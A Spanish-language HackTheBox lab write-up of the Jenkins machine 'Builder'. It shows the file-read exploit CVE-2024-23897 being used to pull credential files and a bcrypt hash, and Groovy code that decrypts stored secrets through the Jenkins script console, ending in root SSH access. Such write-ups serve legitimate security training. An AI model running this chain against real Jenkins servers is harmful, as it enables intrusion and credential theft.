Builder
Medium · Linux · 2026-05-21
Información de la máquina
| Campo | Detalle |
|---|---|
| Plataforma | HackTheBox |
| Sistema operativo | Linux |
| Dificultad | Media |
| Categoría | Linux |
| Fecha | — |
Reconocimiento
Nmap
nmap -p- --open -sS -sC -sV --min-rate 2000 -n -Pn 10.129.230.220 -oN nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-21 03:52 EDT
Nmap scan report for 10.129.230.220
Host is up (0.041s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
8080/tcp open http Jetty 10.0.18
|_http-title: Dashboard [Jenkins]
| http-robots.txt: 1 disallowed entry
|_/
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Jetty(10.0.18)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.41 second
| Puerto | Estado |
|---|---|
| 22/tcp | open |
| 8080/tcp | open |
Enumeración Web

Podemos ver muchas cosas interesantes en esta captura, tenemos la version, la api y el login:
Tras probas con creds default en jenkins (en algunos dicen que no existe y en otros dicen que es jenkins:jenkins) no veo que me logguee.
Tras buscar la version de jenkins me encuentro con este cve:
https://github.com/Maalfer/CVE-2024-23897

Ya que tenemos lectura de archivos, podemos leer archivos interesantes:
/var/jenkins_home/users/users.xml→ nombre exacto de carpeta del usuario/var/jenkins_home/users/user_numeros/config.xml→ hash bcrypt de la contraseña/var/jenkins_home/credentials.xml→ clave SSH cifrada/var/jenkins_home/secrets/master.key→ para descifrar credenciales/var/jenkins_home/secrets/hudson.util.Secret→ para descifrar credenciales/var/jenkins_home/config.xml→ configuración general, usuarios, roles/var/jenkins_home/jobs/*/config.xml→ pipelines, puede haber credenciales en claro/root/.ssh/id_rsa→ clave SSH de root directamente
Así se ve la estructura de jenkins:

Vamos a ver que información podemos sacar.
python3 poc.py 10.129.230.220 8080 /var/jenkins_home/users/users.xml
<?xml version='1.1' encoding='UTF-8'?>: No such agent "<?xml version='1.1' encoding='UTF-8'?>" exists.
<string>jennifer_12108429903186576833</string>: No such agent " <string>jennifer_12108429903186576833</string>" exists.
<idToDirectoryNameMap class="concurrent-hash-map">: No such agent " <idToDirectoryNameMap class="concurrent-hash-map">" exists.
<entry>: No such agent " <entry>" exists.
<string>jennifer</string>: No such agent " <string>jennifer</string>" exists.
<version>1</version>: No such agent " <version>1</version>" exists.
</hudson.model.UserIdMapper>: No such agent "</hudson.model.UserIdMapper>" exists.
</idToDirectoryNameMap>: No such agent " </idToDirectoryNameMap>" exists.
<hudson.model.UserIdMapper>: No such agent "<hudson.model.UserIdMapper>" exists.
</entry>: No such agent " </entry>" exists.
ERROR: Error occurred while performing this command, see previous stderr output.
Error al intentar conectar el nodo: Command 'java -jar jenkins-cli.jar -s http://10.129.230.220:8080/ -http connect-node @/var/jenkins_home/users/users.xml' returned non-zero exit status 5.
Como podemos ver, tenemos jennifer_12108429903186576833 por lo que podemos buscar su archivo de config:
python3 poc.py 10.129.230.220 8080 /var/jenkins_home/users/jennifer_12108429903186576833/config.xml
<passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>: No such agent " <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>" exists.
He vaciado info para tener lo mas importante.
intentamos crackear: $2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a


Ya tenemos la password, por lo que ya podriamos iniciar sesion:

Hay dos formas de obtener una shell desde aquí, voy a ir por la sencilla, para mas info, se puede mirar el writeup de jeeves.
/SCRIPT:
https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76

Tenemos shell y user.txt

Me acabo de dar cuenta que ya teníamos acceso a esto y que realmente no era necesario, por lo que investigamos la pagina a ver que hay:

Hay un apartado de root donde hay una key, vamos a buscar a ver si se puede desencriptar:
https://gist.github.com/hoto/d1c874480888f8711f12db33a20b6e4d
desde /script se puede:
hashed_pw='{AQAAABAAAAAQB68ttY8Fp7wpTtF/d8VPl8ZU5PZEIJbofSrTgZXxbdY=}'
passwd = hudson.util.Secret.decrypt(hashed_pw)
println(passwd)

Tenemos la clave privada, intentamos guardarla y acceder por ssh a root:
chmod 400 id_rsa
ssh root@10.129.230.220 -i id_rsa
